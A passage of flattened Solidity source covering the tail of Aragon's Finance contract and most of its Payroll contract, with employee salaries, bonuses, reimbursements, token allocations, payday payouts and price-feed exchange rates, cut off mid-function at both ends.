emit NewTransaction(transactionId, _incoming, _entity, _amount, _reference);
}
function _tryTransitionAccountingPeriod(uint64 _maxTransitions) internal returns (bool success) {
Period storage currentPeriod = periods[_currentPeriodId()];
uint64 timestamp = getTimestamp64();
// Transition periods if necessary
while (timestamp > currentPeriod.endTime) {
if (_maxTransitions == 0) {
// Required number of transitions is over allowed number, return false indicating
// it didn't fully transition
return false;
}
// We're already protected from underflowing above
_maxTransitions -= 1;
// If there were any transactions in period, record which was the last
// In case 0 transactions occured, first and last tx id will be 0
if (currentPeriod.firstTransactionId != NO_TRANSACTION) {
currentPeriod.lastTransactionId = transactionsNextIndex.sub(1);
}
// New period starts at end time + 1
currentPeriod = _newPeriod(currentPeriod.endTime.add(1));
}
return true;
}
function _canMakePayment(address _token, uint256 _amount) internal view returns (bool) {
return _getRemainingBudget(_token) >= _amount && vault.balance(_token) >= _amount;
}
function _currentPeriodId() internal view returns (uint64) {
// There is no way for this to overflow if protected by an initialization check
return periodsLength - 1;
}
function _getRemainingBudget(address _token) internal view returns (uint256) {
if (!settings.hasBudget[_token]) {
return MAX_UINT256;
}
uint256 budget = settings.budgets[_token];
uint256 spent = periods[_currentPeriodId()].tokenStatement[_token].expenses;
// A budget decrease can cause the spent amount to be greater than period budget
// If so, return 0 to not allow more spending during period
if (spent >= budget) {
return 0;
}
// We're already protected from the overflow above
return budget - spent;
}
function _nextPaymentTime(uint256 _paymentId) internal view returns (uint64) {
ScheduledPayment storage payment = scheduledPayments[_paymentId];
if (payment.executions >= payment.maxExecutions) {
return MAX_UINT64; // re-executes in some billions of years time... should not need to worry
}
// Split in multiple lines to circumvent linter warning
uint64 increase = payment.executions.mul(payment.interval);
uint64 nextPayment = payment.initialPaymentTime.add(increase);
return nextPayment;
}
// Syntax sugar
function _arr(address _a, address _b, uint256 _c, uint256 _d, uint256 _e, uint256 _f) internal pure returns (uint256[] r) {
r = new uint256[](6);
r[0] = uint256(_a);
r[1] = uint256(_b);
r[2] = _c;
r[3] = _d;
r[4] = _e;
r[5] = _f;
}
// Mocked fns (overrided during testing)
// Must be view for mocking purposes
function getMaxPeriodTransitions() internal view returns (uint64) { return MAX_UINT64; }
}
// File: @aragon/apps-payroll/contracts/Payroll.sol
pragma solidity 0.4.24;
/**
* @title Payroll in multiple currencies
*/
contract Payroll is EtherTokenConstant, IForwarder, IsContract, AragonApp {
using SafeMath for uint256;
using SafeMath64 for uint64;
/* Hardcoded constants to save gas
* bytes32 constant public ADD_EMPLOYEE_ROLE = keccak256("ADD_EMPLOYEE_ROLE");
* bytes32 constant public TERMINATE_EMPLOYEE_ROLE = keccak256("TERMINATE_EMPLOYEE_ROLE");
* bytes32 constant public SET_EMPLOYEE_SALARY_ROLE = keccak256("SET_EMPLOYEE_SALARY_ROLE");
* bytes32 constant public ADD_BONUS_ROLE = keccak256("ADD_BONUS_ROLE");
* bytes32 constant public ADD_REIMBURSEMENT_ROLE = keccak256("ADD_REIMBURSEMENT_ROLE");
* bytes32 constant public MANAGE_ALLOWED_TOKENS_ROLE = keccak256("MANAGE_ALLOWED_TOKENS_ROLE");
* bytes32 constant public MODIFY_PRICE_FEED_ROLE = keccak256("MODIFY_PRICE_FEED_ROLE");
* bytes32 constant public MODIFY_RATE_EXPIRY_ROLE = keccak256("MODIFY_RATE_EXPIRY_ROLE");
*/
bytes32 constant public ADD_EMPLOYEE_ROLE = 0x9ecdc3c63716b45d0756eece5fe1614cae1889ec5a1ce62b3127c1f1f1615d6e;
bytes32 constant public TERMINATE_EMPLOYEE_ROLE = 0x69c67f914d12b6440e7ddf01961214818d9158fbcb19211e0ff42800fdea9242;
bytes32 constant public SET_EMPLOYEE_SALARY_ROLE = 0xea9ac65018da2421cf419ee2152371440c08267a193a33ccc1e39545d197e44d;
bytes32 constant public ADD_BONUS_ROLE = 0xceca7e2f5eb749a87aaf68f3f76d6b9251aa2f4600f13f93c5a4adf7a72df4ae;
bytes32 constant public ADD_REIMBURSEMENT_ROLE = 0x90698b9d54427f1e41636025017309bdb1b55320da960c8845bab0a504b01a16;
bytes32 constant public MANAGE_ALLOWED_TOKENS_ROLE = 0x0be34987c45700ee3fae8c55e270418ba903337decc6bacb1879504be9331c06;
bytes32 constant public MODIFY_PRICE_FEED_ROLE = 0x74350efbcba8b85341c5bbf70cc34e2a585fc1463524773a12fa0a71d4eb9302;
bytes32 constant public MODIFY_RATE_EXPIRY_ROLE = 0x79fe989a8899060dfbdabb174ebb96616fa9f1d9dadd739f8d814cbab452404e;
uint256 internal constant MAX_ALLOWED_TOKENS = 20; // prevent OOG issues with `payday()`
uint64 internal constant MIN_RATE_EXPIRY = uint64(1 minutes); // 1 min == ~4 block window to mine both a price feed update and a payout
uint256 internal constant MAX_UINT256 = uint256(-1);
uint64 internal constant MAX_UINT64 = uint64(-1);
string private constant ERROR_EMPLOYEE_DOESNT_EXIST = "PAYROLL_EMPLOYEE_DOESNT_EXIST";
string private constant ERROR_NON_ACTIVE_EMPLOYEE = "PAYROLL_NON_ACTIVE_EMPLOYEE";
string private constant ERROR_SENDER_DOES_NOT_MATCH = "PAYROLL_SENDER_DOES_NOT_MATCH";
string private constant ERROR_FINANCE_NOT_CONTRACT = "PAYROLL_FINANCE_NOT_CONTRACT";
string private constant ERROR_TOKEN_ALREADY_SET = "PAYROLL_TOKEN_ALREADY_SET";
string private constant ERROR_MAX_ALLOWED_TOKENS = "PAYROLL_MAX_ALLOWED_TOKENS";
string private constant ERROR_MIN_RATES_MISMATCH = "PAYROLL_MIN_RATES_MISMATCH";
string private constant ERROR_TOKEN_ALLOCATION_MISMATCH = "PAYROLL_TOKEN_ALLOCATION_MISMATCH";
string private constant ERROR_NOT_ALLOWED_TOKEN = "PAYROLL_NOT_ALLOWED_TOKEN";
string private constant ERROR_DISTRIBUTION_NOT_FULL = "PAYROLL_DISTRIBUTION_NOT_FULL";
string private constant ERROR_INVALID_PAYMENT_TYPE = "PAYROLL_INVALID_PAYMENT_TYPE";
string private constant ERROR_NOTHING_PAID = "PAYROLL_NOTHING_PAID";
string private constant ERROR_CAN_NOT_FORWARD = "PAYROLL_CAN_NOT_FORWARD";
string private constant ERROR_EMPLOYEE_NULL_ADDRESS = "PAYROLL_EMPLOYEE_NULL_ADDRESS";
string private constant ERROR_EMPLOYEE_ALREADY_EXIST = "PAYROLL_EMPLOYEE_ALREADY_EXIST";
string private constant ERROR_FEED_NOT_CONTRACT = "PAYROLL_FEED_NOT_CONTRACT";
string private constant ERROR_EXPIRY_TIME_TOO_SHORT = "PAYROLL_EXPIRY_TIME_TOO_SHORT";
string private constant ERROR_PAST_TERMINATION_DATE = "PAYROLL_PAST_TERMINATION_DATE";
string private constant ERROR_EXCHANGE_RATE_TOO_LOW = "PAYROLL_EXCHANGE_RATE_TOO_LOW";
string private constant ERROR_LAST_PAYROLL_DATE_TOO_BIG = "PAYROLL_LAST_DATE_TOO_BIG";
string private constant ERROR_INVALID_REQUESTED_AMOUNT = "PAYROLL_INVALID_REQUESTED_AMT";
enum PaymentType { Payroll, Reimbursement, Bonus }
struct Employee {
address accountAddress; // unique, but can be changed over time
uint256 denominationTokenSalary; // salary per second in denomination Token
uint256 accruedSalary; // keep track of any leftover accrued salary when changing salaries
uint256 bonus;
uint256 reimbursements;
uint64 lastPayroll;
uint64 endDate;
address[] allocationTokenAddresses;
mapping(address => uint256) allocationTokens;
}
Finance public finance;
address public denominationToken;
IFeed public feed;
uint64 public rateExpiryTime;
// Employees start at index 1, to allow us to use employees[0] to check for non-existent employees
uint256 public nextEmployee;
mapping(uint256 => Employee) internal employees; // employee ID -> employee
mapping(address => uint256) internal employeeIds; // employee address -> employee ID
mapping(address => bool) internal allowedTokens;
event AddEmployee(
uint256 indexed employeeId,
address indexed accountAddress,
uint256 initialDenominationSalary,
uint64 startDate,
string role
);
event TerminateEmployee(uint256 indexed employeeId, uint64 endDate);
event SetEmployeeSalary(uint256 indexed employeeId, uint256 denominationSalary);
event AddEmployeeAccruedSalary(uint256 indexed employeeId, uint256 amount);
event AddEmployeeBonus(uint256 indexed employeeId, uint256 amount);
event AddEmployeeReimbursement(uint256 indexed employeeId, uint256 amount);
event ChangeAddressByEmployee(uint256 indexed employeeId, address indexed newAccountAddress, address indexed oldAccountAddress);
event DetermineAllocation(uint256 indexed employeeId);
event SendPayment(
uint256 indexed employeeId,
address indexed accountAddress,
address indexed token,
uint256 amount,
uint256 exchangeRate,
string paymentReference
);
event SetAllowedToken(address indexed token, bool allowed);
event SetPriceFeed(address indexed feed);
event SetRateExpiryTime(uint64 time);
// Check employee exists by ID
modifier employeeIdExists(uint256 _employeeId) {
require(_employeeExists(_employeeId), ERROR_EMPLOYEE_DOESNT_EXIST);
_;
}
// Check employee exists and is still active
modifier employeeActive(uint256 _employeeId) {
// No need to check for existence as _isEmployeeIdActive() is false for non-existent employees
require(_isEmployeeIdActive(_employeeId), ERROR_NON_ACTIVE_EMPLOYEE);
_;
}
// Check sender matches an existing employee
modifier employeeMatches {
require(employees[employeeIds[msg.sender]].accountAddress == msg.sender, ERROR_SENDER_DOES_NOT_MATCH);
_;
}
/**
* @notice Initialize Payroll app for Finance at `_finance` and price feed at `_priceFeed`, setting denomination token to `_token` and exchange rate expiry time to `@transformTime(_rateExpiryTime)`
* @dev Note that we do not require _denominationToken to be a contract, as it may be a "fake"
* address used by the price feed to denominate fiat currencies
* @param _finance Address of the Finance app this Payroll app will rely on for payments (non-changeable)
* @param _denominationToken Address of the denomination token used for salary accounting
* @param _priceFeed Address of the price feed
* @param _rateExpiryTime Acceptable expiry time in seconds for the price feed's exchange rates
*/
function initialize(Finance _finance, address _denominationToken, IFeed _priceFeed, uint64 _rateExpiryTime) external onlyInit {
initialized();
require(isContract(_finance), ERROR_FINANCE_NOT_CONTRACT);
finance = _finance;
denominationToken = _denominationToken;
_setPriceFeed(_priceFeed);
_setRateExpiryTime(_rateExpiryTime);
// Employees start at index 1, to allow us to use employees[0] to check for non-existent employees
nextEmployee = 1;
}
/**
* @notice `_allowed ? 'Add' : 'Remove'` `_token.symbol(): string` `_allowed ? 'to' : 'from'` the set of allowed tokens
* @param _token Address of the token to be added or removed from the list of allowed tokens for payments
* @param _allowed Boolean to tell whether the given token should be added or removed from the list
*/
function setAllowedToken(address _token, bool _allowed) external authP(MANAGE_ALLOWED_TOKENS_ROLE, arr(_token)) {
require(allowedTokens[_token] != _allowed, ERROR_TOKEN_ALREADY_SET);
allowedTokens[_token] = _allowed;
emit SetAllowedToken(_token, _allowed);
}
/**
* @notice Set the price feed for exchange rates to `_feed`
* @param _feed Address of the new price feed instance
*/
function setPriceFeed(IFeed _feed) external authP(MODIFY_PRICE_FEED_ROLE, arr(_feed, feed)) {
_setPriceFeed(_feed);
}
/**
* @notice Set the acceptable expiry time for the price feed's exchange rates to `@transformTime(_time)`
* @dev Exchange rates older than the given value won't be accepted for payments and will cause payouts to revert
* @param _time The expiration time in seconds for exchange rates
*/
function setRateExpiryTime(uint64 _time) external authP(MODIFY_RATE_EXPIRY_ROLE, arr(uint256(_time), uint256(rateExpiryTime))) {
_setRateExpiryTime(_time);
}
/**
* @notice Add employee with address `_accountAddress` to payroll with an salary of `_initialDenominationSalary` per second, starting on `@formatDate(_startDate)`
* @param _accountAddress Employee's address to receive payroll
* @param _initialDenominationSalary Employee's salary, per second in denomination token
* @param _startDate Employee's starting timestamp in seconds (it actually sets their initial lastPayroll value)
* @param _role Employee's role
*/
function addEmployee(address _accountAddress, uint256 _initialDenominationSalary, uint64 _startDate, string _role)
external
authP(ADD_EMPLOYEE_ROLE, arr(_accountAddress, _initialDenominationSalary, uint256(_startDate)))
{
_addEmployee(_accountAddress, _initialDenominationSalary, _startDate, _role);
}
/**
* @notice Add `_amount` to bonus for employee #`_employeeId`
* @param _employeeId Employee's identifier
* @param _amount Amount to be added to the employee's bonuses in denomination token
*/
function addBonus(uint256 _employeeId, uint256 _amount)
external
authP(ADD_BONUS_ROLE, arr(_employeeId, _amount))
employeeActive(_employeeId)
{
_addBonus(_employeeId, _amount);
}
/**
* @notice Add `_amount` to reimbursements for employee #`_employeeId`
* @param _employeeId Employee's identifier
* @param _amount Amount to be added to the employee's reimbursements in denomination token
*/
function addReimbursement(uint256 _employeeId, uint256 _amount)
external
authP(ADD_REIMBURSEMENT_ROLE, arr(_employeeId, _amount))
employeeActive(_employeeId)
{
_addReimbursement(_employeeId, _amount);
}
/**
* @notice Set employee #`_employeeId`'s salary to `_denominationSalary` per second
* @dev This reverts if either the employee's owed salary or accrued salary overflows, to avoid
* losing any accrued salary for an employee due to the employer changing their salary.
* @param _employeeId Employee's identifier
* @param _denominationSalary Employee's new salary, per second in denomination token
*/
function setEmployeeSalary(uint256 _employeeId, uint256 _denominationSalary)
external
authP(SET_EMPLOYEE_SALARY_ROLE, arr(_employeeId, _denominationSalary, employees[_employeeId].denominationTokenSalary))
employeeActive(_employeeId)
{
Employee storage employee = employees[_employeeId];
// Accrue employee's owed salary; don't cap to revert on overflow
uint256 owed = _getOwedSalarySinceLastPayroll(employee, false);
_addAccruedSalary(_employeeId, owed);
// Update employee to track the new salary and payment date
employee.lastPayroll = getTimestamp64();
employee.denominationTokenSalary = _denominationSalary;
emit SetEmployeeSalary(_employeeId, _denominationSalary);
}
/**
* @notice Terminate employee #`_employeeId` on `@formatDate(_endDate)`
* @param _employeeId Employee's identifier
* @param _endDate Termination timestamp in seconds
*/
function terminateEmployee(uint256 _employeeId, uint64 _endDate)
external
authP(TERMINATE_EMPLOYEE_ROLE, arr(_employeeId, uint256(_endDate)))
employeeActive(_employeeId)
{
_terminateEmployee(_employeeId, _endDate);
}
/**
* @notice Change your employee account address to `_newAccountAddress`
* @dev Initialization check is implicitly provided by `employeeMatches` as new employees can
* only be added via `addEmployee(),` which requires initialization.
* As the employee is allowed to call this, we enforce non-reentrancy.
* @param _newAccountAddress New address to receive payments for the requesting employee
*/
function changeAddressByEmployee(address _newAccountAddress) external employeeMatches nonReentrant {
uint256 employeeId = employeeIds[msg.sender];
address oldAddress = employees[employeeId].accountAddress;
_setEmployeeAddress(employeeId, _newAccountAddress);
// Don't delete the old address until after setting the new address to check that the
// employee specified a new address
delete employeeIds[oldAddress];
emit ChangeAddressByEmployee(employeeId, _newAccountAddress, oldAddress);
}
/**
* @notice Set the token distribution for your payments
* @dev Initialization check is implicitly provided by `employeeMatches` as new employees can
* only be added via `addEmployee(),` which requires initialization.
* As the employee is allowed to call this, we enforce non-reentrancy.
* @param _tokens Array of token addresses; they must belong to the list of allowed tokens
* @param _distribution Array with each token's corresponding proportions (must be integers summing to 100)
*/
function determineAllocation(address[] _tokens, uint256[] _distribution) external employeeMatches nonReentrant {
// Check array lengthes match
require(_tokens.length <= MAX_ALLOWED_TOKENS, ERROR_MAX_ALLOWED_TOKENS);
require(_tokens.length == _distribution.length, ERROR_TOKEN_ALLOCATION_MISMATCH);
uint256 employeeId = employeeIds[msg.sender];
Employee storage employee = employees[employeeId];
// Delete previous token allocations
address[] memory previousAllowedTokenAddresses = employee.allocationTokenAddresses;
for (uint256 j = 0; j < previousAllowedTokenAddresses.length; j++) {
delete employee.allocationTokens[previousAllowedTokenAddresses[j]];
}
delete employee.allocationTokenAddresses;
// Set distributions only if given tokens are allowed
for (uint256 i = 0; i < _tokens.length; i++) {
employee.allocationTokenAddresses.push(_tokens[i]);
employee.allocationTokens[_tokens[i]] = _distribution[i];
}
_ensureEmployeeTokenAllocationsIsValid(employee);
emit DetermineAllocation(employeeId);
}
/**
* @notice Request your `_type == 0 ? 'salary' : _type == 1 ? 'reimbursements' : 'bonus'`
* @dev Reverts if no payments were made.
* Initialization check is implicitly provided by `employeeMatches` as new employees can
* only be added via `addEmployee(),` which requires initialization.
* As the employee is allowed to call this, we enforce non-reentrancy.
* @param _type Payment type being requested (Payroll, Reimbursement or Bonus)
* @param _requestedAmount Requested amount to pay for the payment type. Must be less than or equal to total owed amount for the payment type, or zero to request all.
* @param _minRates Array of employee's minimum acceptable rates for their allowed payment tokens
*/
function payday(PaymentType _type, uint256 _requestedAmount, uint256[] _minRates) external employeeMatches nonReentrant {
uint256 paymentAmount;
uint256 employeeId = employeeIds[msg.sender];
Employee storage employee = employees[employeeId];
_ensureEmployeeTokenAllocationsIsValid(employee);
require(_minRates.length == 0 || _minRates.length == employee.allocationTokenAddresses.length, ERROR_MIN_RATES_MISMATCH);
// Do internal employee accounting
if (_type == PaymentType.Payroll) {
// Salary is capped here to avoid reverting at this point if it becomes too big
// (so employees aren't DDOSed if their salaries get too large)
// If we do use a capped value, the employee's lastPayroll date will be adjusted accordingly
uint256 totalOwedSalary = _getTotalOwedCappedSalary(employee);
paymentAmount = _ensurePaymentAmount(totalOwedSalary, _requestedAmount);
_updateEmployeeAccountingBasedOnPaidSalary(employee, paymentAmount);
} else if (_type == PaymentType.Reimbursement) {
uint256 owedReimbursements = employee.reimbursements;
paymentAmount = _ensurePaymentAmount(owedReimbursements, _requestedAmount);
employee.reimbursements = owedReimbursements.sub(paymentAmount);
} else if (_type == PaymentType.Bonus) {
uint256 owedBonusAmount = employee.bonus;
paymentAmount = _ensurePaymentAmount(owedBonusAmount, _requestedAmount);
employee.bonus = owedBonusAmount.sub(paymentAmount);
} else {
revert(ERROR_INVALID_PAYMENT_TYPE);
}
// Actually transfer the owed funds
require(_transferTokensAmount(employeeId, _type, paymentAmount, _minRates), ERROR_NOTHING_PAID);
_removeEmployeeIfTerminatedAndPaidOut(employeeId);
}
// Forwarding fns
/**
* @dev IForwarder interface conformance. Tells whether the Payroll app is a forwarder or not.
* @return Always true
*/
function isForwarder() external pure returns (bool) {
return true;
}
/**
* @notice Execute desired action as an active employee
* @dev IForwarder interface conformance. Allows active employees to run EVMScripts in the context of the Payroll app.
* @param _evmScript Script being executed
*/
function forward(bytes _evmScript) public {
require(canForward(msg.sender, _evmScript), ERROR_CAN_NOT_FORWARD);
bytes memory input = new bytes(0); // TODO: Consider input for this
// Add the Finance app to the blacklist to disallow employees from executing actions on the
// Finance app from Payroll's context (since Payroll requires permissions on Finance)
address[] memory blacklist = new address[](1);
blacklist[0] = address(finance);
runScript(_evmScript, input, blacklist);
}
/**
* @dev IForwarder interface conformance. Tells whether a given address can forward actions or not.
* @param _sender Address of the account intending to forward an action
* @return True if the given address is an active employee, false otherwise
*/
function canForward(address _sender, bytes) public view returns (bool) {
return _isEmployeeIdActive(employeeIds[_sender]);
}
// Getter fns
/**
* @dev Return employee's identifier by their account address
* @param _accountAddress Employee's address to receive payments
* @return Employee's identifier
*/
function getEmployeeIdByAddress(address _accountAddress) public view returns (uint256) {
require(employeeIds[_accountAddress] != uint256(0), ERROR_EMPLOYEE_DOESNT_EXIST);
return employeeIds[_accountAddress];
}
/**
* @dev Return all information for employee by their ID
* @param _employeeId Employee's identifier
* @return Employee's address to receive payments
* @return Employee's salary, per second in denomination token
* @return Employee's accrued salary
* @return Employee's bonus amount
* @return Employee's reimbursements amount
* @return Employee's last payment date
* @return Employee's termination date (max uint64 if none)
* @return Employee's allowed payment tokens
*/
function getEmployee(uint256 _employeeId)
public
view
employeeIdExists(_employeeId)
returns (
address accountAddress,
uint256 denominationSalary,
uint256 accruedSalary,
uint256 bonus,
uint256 reimbursements,
uint64 lastPayroll,
uint64 endDate,
address[] allocationTokens
)
{
Employee storage employee = employees[_employeeId];
accountAddress = employee.accountAddress;
denominationSalary = employee.denominationTokenSalary;
accruedSalary = employee.accruedSalary;
bonus = employee.bonus;
reimbursements = employee.reimbursements;
lastPayroll = employee.lastPayroll;
endDate = employee.endDate;
allocationTokens = employee.allocationTokenAddresses;
}
/**
* @dev Get owed salary since last payroll for an employee. It will take into account the accrued salary as well.
* The result will be capped to max uint256 to avoid having an overflow.
* @return Employee's total owed salary: current owed payroll since the last payroll date, plus the accrued salary.
*/
function getTotalOwedSalary(uint256 _employeeId) public view employeeIdExists(_employeeId) returns (uint256) {
return _getTotalOwedCappedSalary(employees[_employeeId]);
}
/**
* @dev Get an employee's payment allocation for a token
* @param _employeeId Employee's identifier
* @param _token Token to query the payment allocation for
* @return Employee's payment allocation for the token being queried
*/
function getAllocation(uint256 _employeeId, address _token) public view employeeIdExists(_employeeId) returns (uint256) {
return employees[_employeeId].allocationTokens[_token];
}
/**
* @dev Check if a token is allowed to be used for payments
* @param _token Address of the token to be checked
* @return True if the given token is allowed, false otherwise
*/
function isTokenAllowed(address _token) public view isInitialized returns (bool) {
return allowedTokens[_token];
}
// Internal fns
/**
* @dev Set the price feed used for exchange rates
* @param _feed Address of the new price feed instance
*/
function _setPriceFeed(IFeed _feed) internal {
require(isContract(_feed), ERROR_FEED_NOT_CONTRACT);
feed = _feed;
emit SetPriceFeed(feed);
}
/**
* @dev Set the exchange rate expiry time in seconds.
* Exchange rates older than the given value won't be accepted for payments and will cause
* payouts to revert.
* @param _time The expiration time in seconds for exchange rates
*/
function _setRateExpiryTime(uint64 _time) internal {
// Require a sane minimum for the rate expiry time
require(_time >= MIN_RATE_EXPIRY, ERROR_EXPIRY_TIME_TOO_SHORT);
rateExpiryTime = _time;
emit SetRateExpiryTime(rateExpiryTime);
}
/**
* @dev Add a new employee to Payroll
* @param _accountAddress Employee's address to receive payroll
* @param _initialDenominationSalary Employee's salary, per second in denomination token
* @param _startDate Employee's starting timestamp in seconds
* @param _role Employee's role
*/
function _addEmployee(address _accountAddress, uint256 _initialDenominationSalary, uint64 _startDate, string _role) internal {
uint256 employeeId = nextEmployee++;
_setEmployeeAddress(employeeId, _accountAddress);
Employee storage employee = employees[employeeId];
employee.denominationTokenSalary = _initialDenominationSalary;
employee.lastPayroll = _startDate;
employee.endDate = MAX_UINT64;
emit AddEmployee(employeeId, _accountAddress, _initialDenominationSalary, _startDate, _role);
}
/**
* @dev Add amount to an employee's bonuses
* @param _employeeId Employee's identifier
* @param _amount Amount be added to the employee's bonuses in denomination token
*/
function _addBonus(uint256 _employeeId, uint256 _amount) internal {
Employee storage employee = employees[_employeeId];
employee.bonus = employee.bonus.add(_amount);
emit AddEmployeeBonus(_employeeId, _amount);
}
/**
* @dev Add amount to an employee's reimbursements
* @param _employeeId Employee's identifier
* @param _amount Amount be added to the employee's reimbursements in denomination token
*/
function _addReimbursement(uint256 _employeeId, uint256 _amount) internal {
Employee storage employee = employees[_employeeId];
employee.reimbursements = employee.reimbursements.add(_amount);
emit AddEmployeeReimbursement(_employeeId, _amount);
}
/**
* @dev Add amount to an employee's accrued salary
* @param _employeeId Employee's identifier
* @param _amount Amount be added to the employee's accrued salary in denomination token
*/
function _addAccruedSalary(uint256 _employeeId, uint256 _amount) internal {
Employee storage employee = employees[_employeeId];
employee.accruedSalary = employee.accruedSalary.add(_amount);
emit AddEmployeeAccruedSalary(_employeeId, _amount);
}
/**
* @dev Set an employee's account address
* @param _employeeId Employee's identifier
* @param _accountAddress Employee's address to receive payroll
*/
function _setEmployeeAddress(uint256 _employeeId, address _accountAddress) internal {
// Check address is non-null
require(_accountAddress != address(0), ERROR_EMPLOYEE_NULL_ADDRESS);
// Check address isn't already being used
require(employeeIds[_accountAddress] == uint256(0), ERROR_EMPLOYEE_ALREADY_EXIST);
employees[_employeeId].accountAddress = _accountAddress;
// Create IDs mapping
employeeIds[_accountAddress] = _employeeId;
}
/**
* @dev Terminate employee on end date
* @param _employeeId Employee's identifier
* @param _endDate Termination timestamp in seconds
*/
function _terminateEmployee(uint256 _employeeId, uint64 _endDate) internal {
// Prevent past termination dates
require(_endDate >= getTimestamp64(), ERROR_PAST_TERMINATION_DATE);
employees[_employeeId].endDate = _endDate;
emit TerminateEmployee(_employeeId, _endDate);
}
/**
* @dev Loop over allowed tokens to send requested amount to the employee in their desired allocation
* @param _employeeId Employee's identifier
* @param _totalAmount Total amount to be transferred to the employee distributed in accordance to the employee's token allocation.
* @param _type Payment type being transferred (Payroll, Reimbursement or Bonus)
* @param _minRates Array of employee's minimum acceptable rates for their allowed payment tokens
* @return True if there was at least one token transfer
*/
function _transferTokensAmount(uint256 _employeeId, PaymentType _type, uint256 _totalAmount, uint256[] _minRates) internal returns (bool somethingPaid) {
if (_totalAmount == 0) {
return false;
}
Employee storage employee = employees[_employeeId];
address employeeAddress = employee.accountAddress;
string memory paymentReference = _paymentReferenceFor(_type);
address[] storage allocationTokenAddresses = employee.allocationTokenAddresses;
for (uint256 i = 0; i < allocationTokenAddresses.length; i++) {
address token = allocationTokenAddresses[i];
uint256 tokenAllocation = employee.allocationTokens[token];
if (tokenAllocation != uint256(0)) {
// Get the exchange rate for the payout token in denomination token,
// as we do accounting in denomination tokens
uint256 exchangeRate = _getExchangeRateInDenominationToken(token);
require(_minRates.length > 0 ? exchangeRate >= _minRates[i] : exchangeRate > 0, ERROR_EXCHANGE_RATE_TOO_LOW);
// Convert amount (in denomination tokens) to payout token and apply allocation
uint256 tokenAmount = _totalAmount.mul(exchangeRate).mul(tokenAllocation);
// Divide by 100 for the allocation percentage and by the exchange rate precision
tokenAmount = tokenAmount.div(100).div(feed.ratePrecision());
// Finance reverts if the payment wasn't possible
finance.newImmediatePayment(token, employeeAddress, tokenAmount, paymentReference);
emit SendPayment(_employeeId, employeeAddress, token, tokenAmount, exchangeRate, paymentReference);
somethingPaid = true;
}
}
}
/**
* @dev Remove employee if there are no owed funds and employee's end date has been reached
* @param _employeeId Employee's identifier
*/
function _removeEmployeeIfTerminatedAndPaidOut(uint256 _employeeId) internal {
Employee storage employee = employees[_employeeId];
if (
employee.lastPayroll == employee.endDate &&
(employee.accruedSalary == 0 && employee.bonus == 0 && employee.reimbursements == 0)
) {
delete employeeIds[employee.accountAddress];
delete employees[_employeeId];
}
}
/**
* @dev Updates the accrued salary and payroll date of an employee based on a payment amount and
* their currently owed salary since last payroll date
* @param _employee Employee struct in storage
* @param _paymentAmount Amount being paid to the employee
*/
function _updateEmployeeAccountingBasedOnPaidSalary(Employee storage _employee, uint256 _paymentAmount) internal {
uint256 accruedSalary = _employee.accruedSalary;
if (_paymentAmount <= accruedSalary) {
// Employee is only cashing out some previously owed salary so we don't need to update
// their last payroll date
// No need to use SafeMath as we already know _paymentAmount <= accruedSalary
_employee.accruedSalary = accruedSalary - _paymentAmount;
return;
}
// Employee is cashing out some of their currently owed salary so their last payroll date
// needs to be modified based on the amount of salary paid
uint256 currentSalaryPaid = _paymentAmount;
if (accruedSalary > 0) {
// Employee is cashing out a mixed amount between previous and current owed salaries;
// first use up their accrued salary
// No need to use SafeMath here as we already know _paymentAmount > accruedSalary
currentSalaryPaid = _paymentAmount - accruedSalary;
// We finally need to clear their accrued salary
_employee.accruedSalary = 0;
}
uint256 salary = _employee.denominationTokenSalary;
uint256 timeDiff = currentSalaryPaid.div(salary);
// If they're being paid an amount that doesn't match perfectly with the adjusted time
// (up to a seconds' worth of salary), add the second and put the extra remaining salary
// into their accrued salary
uint256 extraSalary = currentSalaryPaid % salary;
if (extraSalary > 0) {
timeDiff = timeDiff.add(1);
_employee.accruedSalary = salary - extraSalary;
}
uint256 lastPayrollDate = uint256(_employee.lastPayroll).add(timeDiff);
// Even though this function should never receive a currentSalaryPaid value that would
// result in the lastPayrollDate being higher than the current time,
// let's double check to be safe
require(lastPayrollDate <= uint256(getTimestamp64()), ERROR_LAST_PAYROLL_DATE_TOO_BIG);
// Already know lastPayrollDate must fit in uint64 from above
_employee.lastPayroll = uint64(lastPayrollDate);
}
/**
* @dev Tell whether an employee is registered in this Payroll or not
* @param _employeeId Employee's identifier
* @return True if the given employee ID belongs to an registered employee, false otherwise
*/
function _employeeExists(uint256 _employeeId) internal view returns (bool) {
return employees[_employeeId].accountAddress != address(0);
}
/**
* @dev Tell whether an employee has a valid token allocation or not.
* A valid allocation is one that sums to 100 and only includes allowed tokens.
* @param _employee Employee struct in storage
* @return Reverts if employee's allocation is invalid
*/
function _ensureEmployeeTokenAllocationsIsValid(Employee storage _employee) internal view {
uint256 sum = 0;
address[] memory allocationTokenAddresses = _employee.allocationTokenAddresses;
for (uint256 i = 0; i < allocationTokenAddresses.length; i++) {
address token = allocationTokenAddresses[i];
require(allowedTokens[token], ERROR_NOT_ALLOWED_TOKEN);
sum = sum.add(_employee.allocationTokens[token]);
}
require(sum == 100, ERROR_DISTRIBUTION_NOT_FULL);
}
/**
* @dev Tell whether an employee is still active or not
* @param _employee Employee struct in storage
* @return True if the employee exists and has an end date that has not been reached yet, false otherwise
*/
function _isEmployeeActive(Employee storage _employee) internal view returns (bool) {
return _employee.endDate >= getTimestamp64();
}
/**
* @dev Tell whether an employee id is still active or not
* @param _employeeId Employee's identifier
* @return True if the employee exists and has an end date that has not been reached yet, false otherwise
*/
function _isEmployeeIdActive(uint256 _employeeId) internal view returns (bool) {
return _isEmployeeActive(employees[_employeeId]);
}
/**
* @dev Get exchange rate for a token based on the denomination token.
* As an example, if the denomination token was USD and ETH's price was 100USD,
* this would return 0.01 * precision rate for ETH.
* @param _token Token to get price of in denomination tokens
* @return Exchange rate (multiplied by the PPF rate precision)
*/
function _getExchangeRateInDenominationToken(address _token) internal view returns (uint256) {
// xrt is the number of `_token` that can be exchanged for one `denominationToken`
(uint128 xrt, uint64 when) = feed.get(
denominationToken, // Base (e.g. USD)
_token // Quote (e.g. ETH)
);
// Check the price feed is recent enough
if (getTimestamp64().sub(when) >= rateExpiryTime) {
return 0;
}
return uint256(xrt);
}
/**
* @dev Get owed salary since last payroll for an employee
* @param _employee Employee struct in storage
* @param _capped Safely cap the owed salary at max uint
* @return Owed salary in denomination tokens since last payroll for the employee.
* If _capped is false, it reverts in case of an overflow.
*/
function _getOwedSalarySinceLastPayroll(Employee storage _employee, bool _capped) internal view returns (uint256) {
uint256 timeDiff = _getOwedPayrollPeriod(_employee);
if (timeDiff == 0) {
return 0;
}
